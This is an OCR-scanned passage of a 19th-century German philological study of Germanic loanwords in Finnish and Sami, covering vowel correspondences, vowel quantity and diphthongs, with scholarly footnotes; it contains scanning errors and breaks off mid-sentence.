1) Vgl. Hipping in den Acta soc. sc. fenn. 11 , s. 1084 flf., wo
jedoch einige Wörter zu streichen sind. Kuszwurm, Eibofolke II, s. 312.
Auch in der deutschen spräche in den Ostseeprovinzen kommen ver-
schiedene ehstuische Wörter vor; beispiele hierfür bietet das Idiotikon
der deutschen Sprache in Lief- und Ehstland (in A. W. Hupeis Neuen
nord. Miscellaneen ; 11. und 12. Stuck. Biga 1795. s. 1 —272).
2) Dagegen ist f. piika, mädchen, dienstmädchen, nicht ursprüng-
lich, sondern aus aw, piga entlehnt, welches seinerseits eine nordische
femininbilduug des oben genannten wertes zu sein scheint.
3) Das wort kommt jedoch auch in einigen deutschen sprachen
vor, z. b. ags. cj/te, mhd. kote; vgl. auch skr. kuta, kuti und dän.
kytte, deutsch hütte.
46 Der einflnss der germ. sprachen auf die finnisch - lappischen.
finnische wort angewendet haben, das sonst nicht im gebrauch
war, z* b. sota, kämpf = f. sota. ^
Diese ganze bewegung scheint indessen, wie gesagt,
von ziemlich geringem umfang gewesen zu sein, und die
meisten falle, in denen man germanischen, speciell nordi-
41 sehen Worten finnischen Ursprung beigelegt hat, müssen
fortfallen, theils weil die entlehnung in entgegengesetzter
richtung erfolgt ist, * theils weil überhaupt keine Verbindung
stattfindet, wie wenn man f. kankuri, weber, als Stamm-
wort für altn. kongurvdfa, spinne, norw. hangle (Aasen s. 209),
sw. kangro u. desgl. (Kietz s. 307) angesehen hat, welche
Wörter wol mit dem deutschen hanker (wovon wieder z. b.
böhm. kankara) zu vergleichen sind (von I2A,, Cancer?); oder
f. käsi, hand, für dän. kejte, die linke hand, (vgl. norw.
kjeiva) , u. m. a. , um davon zu schweigen , dass man bei
mehreren deutschen gelehrten altn. hreinn oder mlat. ran-
gif er, rennthier, für entlehnt aus einem läpp, raingo ange-
geben findet, das nicht in einem einzigen von allen Wörter-
büchern vorkommt und dessen ganz unlappische form bei
der geringsten kenntniss der spräche in die äugen fallen
muss. *
Viel reicher und merkwürdiger ist dagegen der einfluss,
welchen die germanischen sprachen auf die finnischen aus-
geübt haben. Das eigenthümlichste dabei im vergleich zu
andern ähnlichen erscheinungen , z. b. der sehr starken ein-
1) Bas verzeichniss bei J. Olafsen, Nordens gamle Digtekunst
s. 88 , ist unbrauchbar.
2) Vgl. so z. b. im Wortverzeichnisse aalto, kansa» paita
u. and.
3) So viel ich weiss, findet sich diese behauptung zuerst in
Schmellers Bayer. Wörterb. III (1836) s. 95, wo überhaupt der ferner
liegende vergleichende stoff nicht immer ganz zuverlässig ist; woher
der verf. das genannte läpp, wort genommen hat, kann ich nicht
entscheiden. Später ist sie wiederholt von Diez, Etym. Wb. der rom.
Spr. I ', s. 341 , von Wackemagel in Haupts Ztschr. f. deutsch. Alterth.
IX, s. 536, und vielleicht noch an anderen stellen. (Sollte das wort
sich wirklich nachweisen lassen, so kann es kaum etwas anderes sein
als eine ganz n^ue entlehnung von dem sw. ren-ko, rennthier - kuh).
Der einfloss der germ. sprachen auf die finnisch -lappischen. 47
Wirkung der germanischen sprachen auf die romanischen,
ist der ausserordentlich lange Zeitraum, durch welchen hin-
durch sich derselbe verfolgen lässt, und demnächst die treue,
mit welcher die ursprunglichen formen bewahrt sind. Diesen
einfluss wird man im ganzen auf zwei grosse hauptstufen
zurückfahren können, eine jüngere, wenn man will, histo-
rische, und eine ältere, so zu sagen vorhistorische stufe.
Auf der ersteren, wo der einfluss natürlich am meisten in
die äugen fallt, ist derselbe von den nordischen sprachen in
ihrer heutigen oder historisch überlieferten älteren gestalt,
einzeln auch vom deutschen (niederdeutschen) ausgegangen;
er zeigt sich am deutlichsten in einer in den verschiedenen
mundarten sehr verschiedenen anzahl von leicht wieder-
erkennbaren und sprachlich gröstentheils wenig merkwürdi-
gen werten , aber man wird ihn auch mit leichtigkeit in 42
mannigfaltigen ausdrücken und redensarten nachweisen kön-
nen, die geradezu über fremde formen gegossen sind. Die
zur andern gruppe gehörenden entlehnungen, die hinsichtlich
der anzahl ungeiUhr gleich stark über die ganze sprachklasse
vertheilt sind, setzen dagegen eine weit ältere sprachgestal-
tung voraus, die am nächsten mit dem gotischen verglichen
werden kann. Namentlich die letztgenannten entlehnungen
verdienen unsere aufinerksamkeit wegen der zugleich so alten
und so klaren und harmonischen form, in der sie noch heute
vorliegen, und zwar sowol in beziehung auf die einzelnen
laute, als die endungen; sicher nicht mit unrecht hat bereits
Dietrich in ihnen eine der ältesten quellen für die kenntniss
der geschichte der germanischen sprachen gesehen.
Ich werde nun auf dem wege der vergleichung und mit
besonderer rücksicht auf das licht, das hierdurch auf die
geschichte der germanischen sprachen fallen kann, nachzu-
weisen versuchen, wie theils die einzelnen laute ausserhalb
der endung, theils die endungen in überein'stimmung mit
den lautgesetzen der finnischen sprachen behandelt werden
und auf welche formen in den germanischen sprachen sie
hierdurch zurückweisen; zum schluss werden wir das ver-
hältniss zwischen den zwei hauptgruppen von lehnwörtern
etwas genauer betrachten und sehen, ob es möglich ist,
48 Der einfluss der genxu sprachen auf die finniscli - lappischen.
annäherungsweise zu bestimmen, in welcher oder welchen
germanischen sprachen diese nach den im vorausgehenden
gefundenen grundformen zu hause gewesen sein müssen. ^
1) Der beqnemlichkeit wegen werde ich im folgenden in der regel
nur die finnischen (f.) und theilweise die lappischen (1.) formen anfuh-
ren , im übrigen aber ein für allemal auf das wortverzeichniss ver-
weisen. Die zur vergleichung cursiv beigefügten formen sind die alt-
nordischen (isländischen), wo nichts anderes ausdrücklich bemerkt ist.
I. Die einzelnen laute ausserhalb der endung. 43
A. Vocaie.
Gewöhnlich entsprechen die einzelnen vocaie genau den
grundformen. In dem finnischen sprachstamm erscheinen
sie fast inmier in einer ursprünglicheren gestalt, als
in dem lappischen, wo sie weit mannigfaltigeren Verände-
rungen unterworfen sind, welche mit den eigenthüm-
lichen Übergängen übereinstimmen , die im verhältniss zum
finnischen stattfinden und die im' vorhergehenden s. 33 flF.
entwickelt worden sind. Beispiele für die Übergänge der
einfachen, unumgelauteten vocaie in altem und jungem
entlehnungen sind:
altn. und got a ^ f. a: f. akana, spreu, ögn, got.
aJtana; arina, herd, arinn; arka, 1. argge, feig, argr;
haka, eingehegtes feld, hagi; hamara, hammer an der
axt, hamarr; kakko (auch kaakku), 1. gakko, kuchen,
Jcaka; lato, 1. lado, scheune, hlaäa; pari, paar; sali,
saal; valas, 1. fales, walfisch, hvcdr; vanki, gefangener,
sw. fange; vati, fass, sw. fat; — 1. vuörddet, erwarten.
altn. ä, got. e 1) = f. aa: f. kaali, kohl, Ml; kaapu,
mantel, kdpa; maanantai, montag, mdnadagr; paanu,
Schindel, spann; paatti, boot. Mir; saatto, heuhaufen,
sdta; vaaka, wagschale, vag; vaakuna^ wappeh, vdpn;
vaate', kleidung, vdä; — läpp, mäkka, Schwager, mdgr;
mäles, mahlzeit, mal; männo, mond, mäni; nallo, nadel,
ndl; radde, rath, rdd; saddo, kleie, sdä; stalle, stahl,
stdl; vakke, bucht, vdgr; 2) = f. le: f. miekka,
1. miekke, schwert, got. meki (acc); niekla, neula,
nadel, g. nepla.
altn. e, i, got. i, ai 1) ^ f. e: f. hekuma, wollust,
hegömi; kello, glocke, skeUa; keritä, scheeren, skera;
Thomsen, Blnfloss d. germ. sprachen. 4
50 Vocale.
pelto, 1. baelddo, feld, ahd. /eW; rengas, 1. riegges,
44 ring , hringr ; teljo, ruderbank , pUja ; verta, gleich,
verdr; — 1. d seile, gefrorener schnee, peli; nseppe,
Schwestersohn, nefi; nieste, reisekost, nest; vielpes, jun-
ger hund, hvelpr; viercca, widder, veär; sw.-l. feres,
kessel, hverr,^ — — 2) = f . i: f. kirnu, butterfass,
Mrna; kirttilä, drüse, altsw. Jcirtel; mitta, mass, met;
pikari, becher, hiJcarr; siiat, pferdegeschirr , selar; tik a
(-puut), leiter, stigi; tila, gelegenheit, platz, g. til;
tina, 1. dadne, zinn. Un; virka, 1. virgge, amt, verk{?);
vitja, kette, vid; — lapp. bitta, stück, bit; gicce,
Zicklein, MS; digge, rath, ping; silbba, silber, silfr;
skipa, schiff, sMp; visses, gewiss, g. -vis; viste,
Wohnung, vist; la das, glied, liär; mässet, verlieren,
missä; mad de, fischerplatz im meere, miä.
altn. i, got. ei = f.-ii: f. piika, mädchen, sw. piga;
riiki, reich, rtki; riimu, halfter, grima; siima, seil,
reif, simi; viina, wein, vin; viisas, 1. vises, weise,
g. 'Veis; ehst. lim, leim, tlk, teich; — lapp. llkot,
an etwas gefallen finden, lika; nlbbe, messer, knifr.
altn. o, u, got. u, au 1) == f. o: f. holo, hohlheit,
kola; jo, 1. juo, bereits, g^ju; korppi, 1. goarppa, rabe,
korpr; porstua, hausflur, forstofa; portti, thor, port;
pottu, topf, sw. potta; rotta, ratte, sw. rätta; tori,
markt, torg; torppa, bauemhaus, sw. torp; — lapp;
bordde, tisch, horct; bodne, boden, hotn; goallo, lampe,
kola; moallo, brocken, bischen, vnoli; oaffar, opfer, dän.
oifer; roädde, morgenröthe, roäi; stoalppo, pfosten,
dän. Stolpe; s o am es, irgend ein, sümr; du o f to, ruder-
bank, popta; guödda, polster, koddi; guölbbe, fuss-
boden, golf; (k)ruossa, kreuz, kross; luokka r, küster,
dän. klokker; muoldda, stauberde, mold; nuo rt ta,
nordost, nordr; stuoppo, stoppo, stube, stofa. — ■. —
2) == f. u: f. humala, hopfen, humall; hunaja, honig,
hunang; hurskas, hurskes, gerecht, horskr; jukko,
1) Hierzu kommt noch e in einigen föUen, wo die nord. sprachen
brechung haben, worüber unten mehr.
Vocale. 51
joch, ok, g. juk'^ kulta, 1. golle, gold, guU:, kumina,
kömmel, sw. hummin-^ kuningas, 1. gonagas, könig;
-kuQta, 1. -godde, gebiet, g. -hunds', kupari, kupfer,
kopar-, kuppi, tasse, sw. kopp; kustantaa, die kosten
för etwas bestreiten, kosta-^ luhti, dachboden, sw. loft\
lukkara, Schlichthobel, lokarr; lukkari, küster; lukko,
schloss, riegel, loka; lupa, 1. loppe, erlaubniss, lof;
multa, stauberde, mold; murha, mord; murkina, früh-
stück, morginn; pukki, 1. bukka, bokka, bock, buMr;46
puilta, 1. budde, pfiind, pmid; pusa, beutel, posi;
ruhtina, fürst, diii. fruJdin; rtiis, roggen, rugr; rukki,
Spinnrocken; sukka, strumpf, sokkr; sunnuntai, 1. sodna-
bsejvve, sonntag, sunnudagr; suru, sorge; tuhto, ruder-
bank; tulkki, dolmetscher, sw. tolk; tulla, ruderpinne,
pollr; tulli, zoll, tollr, sw. tuli; tupa, stube; tupakki,
tabak, ^w.tobak; tuppaan, ichstopfe; turska, 1. dorske,
dorsch, porskr; turve\ torf, torf; uhri, opfer, sw. offer;
urut, orgel, sw. orgor; — lapp. ullo, wolle, ull; urtas,
kraut, ufi; ludne, rolle, hlumir.
altn. 6, got. ö 1) = f. uo: f. huotra, scheide, g.ßdr;
nuora, schnür, ahd. snuor; nuotta, 1. nuötte, netz,
not; tuoli, 1. studio, stuhl, stöll; tuomari, 1. duob-
mar, richter, dmnari; tuorstai, 1. duorasdak, don-
nerstag, dän.-8w. torsdag; — lapp. guobme, gaumen,
gömr; ruotas, wurzel, rot; stuores, gross, s^orr; suok-
kan, kirchspiel, sokn; 2) == f. uu (selten): f. luuva,
tenne, sw. loge; ruusu, rose. ^
altn. ü, got. u == f. uu: muuri, matier, sw. mur;
ruuni, braun, hrünn; suutari, Schuhmacher, sütari;
ehst. prün, braun, prüf, braut; — lapp. sures, sauer,
surr; hufsit, bauen, hüsa.
Das erste , was die aufmerksamkeit auf sich zieht , wenn
man alle diese Übergänge zusanmien betrachtet, ist die
quantität der vocale. Wie wir in der einleitung (s. 21 f., 33)
i) In einzeloen neueren Worten tritt f. ou für urspr. kurzes wie
langes o ein, z. b. housut, hosen, hosti/r; moukari, hammer, sw.
mundartlich mokare; touvi, tau, tag; koulu, schule, sw. skola;
(k)rouvi, schenke, krug, sw. krag.
4*
52 Vocale.
gesehen haben , werden lange und kurze vocale ganz bestimmt
und durchgehends im ;finnischen sprachstamm geschieden,
weniger deutlich im lappischen. Dass ganz derselbe unter-
schied in den älteren germanischen sprachen und noch im
älteren schwedisch vorhanden war, ist bereits von anderen
mit vielen beweisgründen dargethan. ^ Dazu könnte man
noch die hier besprochenen Übergänge fügen ; denn die genaue
Übereinstimmung in den einzelnen fallen scheint keinen
zweifei daran zu gestatten, dass die ursprüngliche
quantität der vocale in den Sprachgestaltungen
vollständig erhalten gewesen sein muss, aus
welchen die hier erwähnten entlehnungen, sowol
die älteren, als die jüngeren, herübergenommen
sind. Was speciell die jüngeren betrifft, wird es vielleicht
46 nicht überflüssig sein , daran zu erinnern , dass das ursprüng-
" liehe verhältniss, das sonst in den neueren sprachen fast
überall ganz anderen regeln hat weichen müssen, doch noch
ziemlich unverändert in mehreren schwedischen mundarten
erhalten ist, namentlich gerade in denen, welche zunächst
an 'die finnischen sprachen angrenzen. ^ So spricht man in
Nyland (in den gegenden von Borgä und Lovisa) mit kur-
zem vocal, ohne jedoch den folgenden consonanten zu ver-
doppeln:* hamar{^), hanmier, = altn. hamarr (nicht wie
sonst sw. hammare), haga, eingehegtes feld, = an. hagi,
Jcaku, laib brod, kuchen, » an. kaka, gamifi, alt, (aber doch
gämb^'l = an. gamli, wegen des folgenden consonanten-
zusammenstosses ; ebenso z. b. länd, land , känib , kämm , =
an. kambr, Img^r, lang, = an. langr), fara, fahren, = an.
fara, fari, gefahren, = an. farit, prset. för\ dagegen ist
1) Vgl. Grimm, Deutsche gramm. I, 1^ s. 32ff. 527 ff. Jessen
in der Tidskr. f. Philol. og Paedag. I, s. 215. Lyngby, ebda. 11, s. 321.
Rydqvist, Sv. sprakets lagar IV, s. 6 ff.
2) Dass diess nicht, wie einige annehmen, von anfang an finni-
schem einflnss zugeschrieben werden kann , sieht man aus der Überein-
stimmung mit den älteren sprachen. Eine andere frage ist es, ob
nicht die ausspräche der nachbarsprache zur erhaltung des alten mit-
gewirkt haben kann.
3) In der lautbezeichnung schliesse ich mich am nächsten
Lepsius an«
Quantität. 53
q (d) = an. & immer lang, ebenso wol in mqndag, montag,
wie in rmne, mond, und in öttay acht, wie in hqt, boot;
femer lesa, lesen, == an. lesa, g&ra (oder jera, ctera), thun,
machen, = an. gera, geva (oder jeva, d'eoa)^ geben, = an.
gefa, viku oder veku, woche, = an. vika, liva oder leva,
leben, = an. lifa, Iw, das leben, = an. lif, vita^ wissen,
== an. vita (aber veit, ich weiss, = an. veit), ita, essen, = an.
eta, tig^l^ Ziegelstein, = an. tigl, nda, reiten, = an. rida,
ridi, geritten, = an. ridit (praet. reid), hvU% weiss, = an.
hvitr, tima, stunde, = an. tfmi (aber sw. timme), grTmo,
halfter, = an. grima (sw. grimma); kgma, kommen, = an.
koma (aber länger in han Tcömtfr^ er kommt, wie oben),
hopar, kupfer, = an. kopar, pqsa, beutel, = an. posi,
somar, sommer, = an. sumar, stuvu, stube, — au. stofa,
süpa, saufen, = an. süpa, supi, gesoffen, = an. sopit (praet.
sowp), hqnd^^ bauer, = an. böndi, pl. bestimmt hmdr^
{j)endr^. Ein ganz ähnliches verhältniss findet in den ehst.-
schwedischen mundarten statt; von Wichterpal in Ehstland
kann ich so z. b. anführen : hma , hahn , = an. hani , tda,
sprechen, = an. tala, mqga, magen, = an. magi, hq^ Q^)i
haar, == an. här, lesa, gera, geva, ita, r%d{a), ridi, ktoU^r,
kuma, bök, buch, pl. bekr*, hena, huhn, = an. hcena (aber
auch hier land, hand u. desgl.). ^
Abweichungen hiervon in den im finnischen vorkommen- 47
den lehn Wörtern sind, namentlich was die ältere reihe angeht,
ziemlich selten, und scheinen am häufigsten in der Verkür-
zung eines langen vocales vor einem einfachen , und der Ver-
längerung eines kurzen vocales vor mehreren consonanten
(vgl. s. 23) zu bestehen, z. b. f. rikas, reich, rikr, runo,
gedieht, rün; aalto, woge, alda, juusto, käse, ostr,
paarna, knabe, barn, viikko,^ woche, vika, paasto,
fasten , fasta. Häufiger sind die abweichungen bei den jün-
geren entlehnungen , namentlich im ehstnischen in den aus
1) Vgl. Hipping in den Acta soc. sc. fenn. II, s. 1136. 1140 f.
Enszwunn, Eibofolke H, s. 296. Rydqvist a. a. o. s. 9. — Ueber
etwas, wie es scheint, ähnliches in norwegischen dialekten vgl. Aasen,
Norsk Grammatik (Christiania 1864) §§ 29. 113.
2) Dagegen setzt läpp, vakko ein nrspr. kurzes i voraus.
54 Vocale.
dem niederdeutschen hergenommenen Wörtern, wie z. b. sal,
saal, pär', paar, kr äw', graben, wät', fass, u. v. a.
Ein paar einzelne der oben dargestellten vocalübergänge
müssen wir noch besonders besprechen. Zunächst verdient
es bemerkt zu werden, dass altn. d\ dän. und sw. ä sowol
im finnischen als im lappischen fast immer, selbst in den
jüngeren lehnwörtern, mit langem a wiedergegeben wird;
nur in ganz vereinzelt stehenden neuen lehnwörtern kann
man dafür einen o -laut hören. ^ Dagegen hat das finnische
vollkommen richtig z. b. pusa, touvi gegenüber sw. päse,
tag, wo das ä = altn. o ist. Diess setzt voraus, dass nicht
nur — wie man bereits aus dem vorhergehenden hätte
schliessen können — ursprüngliches ä und o , die jetzt in so
vielen fällen zusammengefallen sind , noch deutlich verschie-
den waren, als die jüngeren entlehnungen aufgenommen
wurden, sondern dass zugleich das erstere fast ganz wie
reines ä ausgesprochen worden ist, was man auch aus ande-
ren gründen für das altnordische und altschwedische anneh-
men muss. ^ Von besonderem Interesse als Vertretung eines
urgermanischen ä ist f. ie, wovon ich indessen nur die
zwei oben angeführten beispiele kenne; es kann sicherlich
nur aus dem speciell got. e erklärt werden. Im läpp, ist
dagegen das vereinzelte miekke unzweifelhaft keine selbst-
ständige entlehnung, sondern muss wieder aus dem finn.
entnommen sein.
Ferner müssen wir kurz das verhältniss zwischen e und
i, und u berühren. Wie man aus den oben angeführten
beispielen ersehen wird , stimmt das läpp, in der vertheilung
dieser laute im ganzen mit dem altnordischen (isländischen)
1) Ebenso hat das finn. beinahe überall a, wo sw. ^ = altn. a ist
(wie vor -ng); doch z. b. f. holli, poststation, = sw. hall. Vgl.
Rydqvist IV, s. 20 if.
2) Vgl. Lyngby in der Tidskr. f. Phil. U , s. 309. Rydqvist IV,
s. 105 nebst den citaten. Die finn.-sw. mttndarten haben, soweit ich
zu beobachten gelegenheit hatte , nur in ganz vereinzelten Worten ä =
an. d, z. b. gä , gehen , sonst ö (ä) ; doch unterscheidet sich diess immer
von urspr. o, s. oben. — lieber den Unterschied zwischen ä und o in
norw. mundarten s, Aasen f Norsk Gramm. §§8. 11. 17.
Langes a; e nnd i, o und u. 55
überein, soweit es möglich ist, den grnndlaut mit Sicherheit
zu bestimmen. Das finnische weicht hingegen mehr hiervon
ab. In den jüngeren entlehnungen fällt indessen hier die
Übereinstimmung mit dem schwedischen, besonders in seiner 48
älteren gestalt, in die äugen; namentlich hat das finnische
ziemlich regelmässig u nicht nur, wo das altsw. u hat, ^
sondern auch, wo o und u hiej mit einander wechseln;*
wo dagegen das altsw. ausschliesslich o hat^ (besonders
vor r), tritt dieses gewöhnlich auch im finn. ein (unklarer
ist das verhältniss bei e und i). In dem letzteren falle ist
die ausspräche wol eine offene gewesen; in dem ersteren
kann man dagegen im zweifei sein, ob man u wirkUch
darchgehends als grundlage anzusehen oder ob man nicht
vielmehr zum theil von o, und zwar geschlossenem, auszu-
gehen habe, welches sich noch im nyländischen ungefähr
eben da findet, wo im altsw. die Schreibung zwischen o und
u schwankt (vgl. oben); diess konnte im finn. nicht gut
anders wiedergegeben werden, als durch u, dessen ausspräche
der des geschlossenen o nahe steht, während finn. o offen
ist (vgl. s. 21); grösser ist dagegen der unterschied zwischen
geschlossenem e und finn. i. In den älteren entlehnungen
hat u im finn. ein noch entschiedeneres übergewicht über o,
während e mindestens ebenso häufig ist, wie i. Bisweilen
ist e wol aus i hervorgegangen, wie vermuthlich in rengas,
ring (vgl. auch herne', erbse, von lit. ftrnis, kärme',
schlänge, von lit. kirmis); aber es ist doch wenig wahr-
scheinlich, dass diess überall der fall sein sollte, und ich
glaube deshalb, dass auch die finnischen formen dieser
gruppe, wie ganz offenbar die lappischen, entweder alle
oder doch zum grösten theil das Vorhandensein von e und o
(wahrscheinlich geschlossen) neben i und u voraussetzen und
insofern also auf eine stufe hinweisen^ die älter ist als das
gotische, wo, wenigstens dem anschein nach, das aus wur-
1) Rydqvist IV, s. 69 ff.
2) Ebenda s. 60 ff.
3) Ebenda s. 59 f. Vgl. auch die einzelnen Wörter im wortver-
zeichniss.
56 Vocale.
zelhaftem a entstandene e mit ursprünglichem i (vielleicht
mit einigen ausnahmen) und o mit u zusammengefallen ist.^
18 Von dem im got. stattfindenden Übergang eines i und u in resp.
ai (d. h. kurzes ä, fe]) und au (d.h. kurzes ä, [0]) vor einem
nachfolgenden r und h ist dort jedenfalls auch nicht die
geringste spur vorhanden.
Die diphthonge der germanischen sprachen sind im
ganzen gut erhalten, zun? theil mit merkwürdigen spuren
hohen alters. Urspr. al, got. ai (wahrscheinlich wie langes
ä [f] ausgesprochen) , altn. d ist im finn. oft in der ältesten
gestalt beibehalten, z. b. ainoa, einzig, g. ainaha; hai-
kara, reiher, ahd. heigiro; kaide', weberkamm, skeiä;
kaira, bohrer, vgl. gdrr; kaisila, binsen, vgl. geisU;
laita, Seite, weg, leiä; mainita, erwähnen, d,gs,mcen»n;
paita, hemde, got. paida; raippa, reif, seil, reip; tai-
kina, teig, deig; taina, keim, spross, teinn. Seltener ist
ei in Wörtern, deren form oder Verbreitung übrigens auf
ein hohes alter deuten, z. b. f. leipä, brod, Meifr; kei-
häs, spiess, vgl. geirr,^ Dagegen ist ei sehr gewöhnlich
in Worten von jüngerer form, z. b. leikari, gaukler, lei-
kari; leikki, spiel, leik; meinata, meinen; meikata,
liebkosen, sw. smeka; reisu, reise, sw. resa; (k)reivi,
graf , sw. grefve ; (keisari, kaiser , s w. Jceisare) u. s. w.
Hier könnte man wol denken, dass ei aus sw. e entwickelt
wäre, wie ou aus (s. 51 note 1), und so verhält es sich
vielleicht auch in einigen fällen; aber da nach meiner beob-
achtung hierneben nie ie, entsprechend einem aus ei ent-
standenen sw. e, vorkommt, muss man dasselbe (ei) in den
1) Jessen in der Tidskr. f. Philol. I (1860), s. 217 ff. Lyngby in
der Antiqv. Tidskr. 1858 — 60, s. 246 ff. G. Curtius (Ueber d. Spal-
tung des A -lautes) in den Berichten d. sächs. Gesellsch. d. Wiss.,
philol. -bist. Cl. 1864, s. 19 ff. Bugge in der Tidskr. f. Philol. Vn
(1867), s. 223. 225 (mit rücksicht auf die ältesten nordischen runen-
inschriften, welche, wie das spätere altn., e und haben). Scherer,
zur gesch. d. deutsch, spräche (1868), s. 6 f. (nach MüUenhoffs Vor-
lesungen).
2) Wahrscheinlich ist hier ei auf finn. boden aus älterem ai entr
wickelt, vgl. 8. 37 f. Etwas ähnliches musß bei f. äiti, mutter, der
fall sein, wenn diess für entlehnt zu halten ist (g. aipei).
Diphthonge: ai. 57
meisten fallen für den ursprünglichen diphthong selbst hal-
ten. Dieser ist zwar im sw. gewöhnlich in e übergegangen,
aber er findet sich doch nicht so selten im altsw. und ist
noch jetzt in mehreren dialekten, namentlich in allen den
an das finnische grenzenden, bewahrt, z. b. nyl. v^t, ich
weiss, reidj ich ritt, rdso, reise, sheid, löffel, leiJca, spielen.^
— Das lappische hat fast immer aj (ai), z. b. ajdno,
einzig; ajka, eiche, eih; ajlegas, heilig, heilagr; gajcca,
geiss, geit; hajtis, heiss, warm, heitr; lajbbe, brod;
lajddit, leiten, leiäa; lajddo, weg; lajrre, thon, hir;
majdne, fehler, mein; rajppe, reif; seltener uoj:
buojdde, fett, feitr, oder sej, ej, wie laejkka, spiel,
rejso, reise. Ob aj wenigstens im norw.-lapp. jemals aus
ei entsteht, ist zweifelhaft (vgl. s. 37); gjBwöhnlich erscheint 50
diess wol als se j , e j , während a j und u o j der ursprüng-
licheren form ai entsprechen.
Während urspr. ai in der regel im altn. zu ei gewor-
den ist, ist es in einer kleineren reihe von Wörtern in d
und mit i-umlaut in ce übergegangen. ^ Besondere aufmerk-
samkeit verdient es, dass auch mehrere von diesen werten
in den finnischen sprachen mit dem ursprünglichen diphthong
vorkommen. Falls diese aus einer nordischen spräche auf-
genonmien sind, muss die entlehnung also älter sein als der
Übergang in d. Ich habe folgende aufgezeichnet: f. aika,
!• ajgge, zeit, g. aivs, aber an. (efi; f. airo, 1. ajrro,
rüder, ar, ags. dr; f. airut, 1. ajras, böte, drr, g. airus;
f. laina, lehen, Mn; f. saippio, sw.-l. saipo, seife,
sdjpa; f. sairas, krank, sd/rr; f. saivo, klare stelle in
einem see, g. saivs{?); f. vaiva, 1. vajvve, mühe, vd,
ahd. wewo; 1. sarje,* wunde, sdr; und vielleicht sw.-l.
sajet, säen, sd,g.saian. Einige andere kommen im läpp,
mit ä vor, aber übrigens doch in einer ziemlich alten form:
ärrad, früh, dr, g. air; lädde, tuch, kleid, klaeäi.
1) Vgl. Eydqvist IV, s. 138 ff.
2) S. Grimm , Deutsche gramm. 1 , 1 », s. 458. 461.
3) Hier ist rj eine Umstellung für jr, vgl. russ.-l. arje, rüder,
= nw.-l. ajrro.
58 Vocale.
Der diphthong au (im got. wahrscheinlich als langes
ä [o] ausgesprodien) ist im finnischen wie im lappischen in
einer grossen menge von Wörtern bewahrt, z. b. f. aus kari,*
Schöpfkelle, ausker'^ autuas, selig, auäugr; kaunis,
schön, g. skauns; k auto, Oberleder des schuhes, g. skaiida-;
kauppa, handel, kaup; kaupunki, stadt, kaupangr;
laukka, lauch, laukr; lauvantai, Sonnabend, laugardagr\
nauta, vieh, naut*^ rauma, ström, straufm\ rauta,
eisen, rauäi\ sauma, säum, saumr; tauko, tau, taug.
Lappisch audogas, selig; auskari, schöpfkeile; avkke,
V ortheil, awA?i; gavppe, handel; gavpug, stadt; lavggo,
bad, laug; lavardak, Sonnabend; lavkke, lauch; lakca,
lafca (vgl. s. 43), sahne, flautir{?); navdde, thier, vieh;
navste, schiffsschuppen , naust; ravdnje, ström; sav-
dnje, säum; savcca, schaf, sauär; ferner ruövdde,
eisen ; sw. - 1. s k u o u d o , scheide , skaud, üebrigens gehören
die hier aufgezählten beispiele schwerlich alle zu der älteren
51 gruppe. ^ Bestimmter tritt eine jüngere form dieses diphthon-
. gen in f. öy hervor, z. b. öysti (auch austi), der räum
im boote , wo sich das auszuschöpfende wasser sammelt,
austr; löysä, löyhä, los, lauss; pöyliä, brüllen, batda.
Diess öy kommt gewiss nicht eigentlich von sw. ö her, son-
dern eher (vgl. ei) von dem diphthong öUj der in den
grenzmundarten ursprünglichem au entspricht, wie nyl.
öuga, äuge, löus^r, los, b^da, söum^ säum, söup^ prset.
von süpa, saufen, (neben döma, bmd'r , mit ö = altn. oe).
Dagegen ist das gewöhnliche ö bei f. lyökki, lauch, sw.
lök^ (f. ryöväri, 1. rjevar, räuber, raufari und reyfari);
1. kjefman(ne) (Friis, Sprogpr. s. 14. 71.) kaufinann, dän.-
norw. köbmand vorauszusetzen.
Der ursprüngliche diphthong iu, altn.-isl. jü, jö, altsw.
m,^ wird hier durch verschiedene diphthongen wiedergegeben,
im finn. durch iu, eu, öy, im läpp, durch (iu, eu,) iv,
iev, sev, ev.* Beispiele sind: finn. kiulu, milchkübel,
1) Eine nebenform hierzu ist äyskäri, vielleicht mit einer ähn-
lichen Schwächung, wie die obfen vermuthete von ai zu ei, äi.
2) Vgl. Rydqvist IV, s. 134 ff. 143. Aasen , Norsk Gramm. § 25.
3) Vgl. Kydqvist IV, s. 148 ff.
'Diphthonge: Avl, in; brechnng. 59
shj6la\ kiusata, in Versuchung fuhren, plagen, vgl. got,
kiusan \ riutta, riff, grj6t\ tiu, stiege (= 20), altsw.
tiugh; keula, steven, vgl. altn. kjöll; pöytä, tisch, hjoä;
läpp, givsedet = f. kiusata; likse, lifse (vgL 8.43),
licht, Ijös; niktet, gemessen, njota; nivsak, feuer-
schv^amm, hnjösJcr; brivdno, brievdno, Stecknadel,
prjönn; divddo, dievddo, sw.-l. teudo, mannsperson,
pjöd; d i e V n a s , das heil, abendmahl , pjonusta ; sw. - 1. 1 e u d -
nar, diener, fjönari; rievnek, grütze, grjon; bsevdde,
sw. -1. peute = f. pöytä. Ob hier überall eine form mit i{iu)
oder zum theil auch mit j zu gründe liegt, ist schwer zu
entscheiden, da beide sicher dieselbe gestalt angenommen
haben würden; so wird das dän.-norw. Jcjole, rock, im läpp,
zu g seula (Friis Sprogpr. s. 69), unzweifelhaft ein sehr
neues wort. ^
Noch ist es übrig, zu untersuchen, welche spuren sich
von dem Vorhandensein oder dem mangel der brechung
und des Umlautes des nordischen finden. Beispiele von ent- 52
lehnungen, in deren entsprechenden nordischen formen
brechung vorhanden ist, sind im finnischen: hertta,
herz (im kartenspiel) , sw. hjerter ; kelkka, kleiner Schlitten,
kjalki; kernas, willig, gjarn, got. gairns; peikko,
balken» sW. bjdke; pelli, pelti, Ofenklappe im röhr, sw.
sjojätl; telta, betthimmel, tjald; terva, theer (s. das wort-
verzeichniss); pilu, Splitter, spila^ sw. spjäle; jätti, dia-
lektweise ja tuli, riese, sw. jäUe^ altsw. icUun; im lappi-
schen: biello (Friis Sprogpr. s. 91), bjaello (das. s. 114),
1) Eine bewegnng in derselben richtung hat stattgefunden in
BW. -1. 8SdY, sffiva, see, welches geradezu dem altn. sjor oder altsw.
sior, sio entspricht, nicht, wie einige geglaubt haben, unmittelbar
dem got saivs, da dieses zu ^sajvve oder etwas dem ähnlichen hätte
werden müssen. — Ob f. joulu, 1. juovlak, jolak, Weihnachten,
von einer form mit ju* oder mit jm- ausgeht, kann ich nicht ent-
scheiden. Läpp, bovddit, bieten, einladen, bjöäa, könnte für das
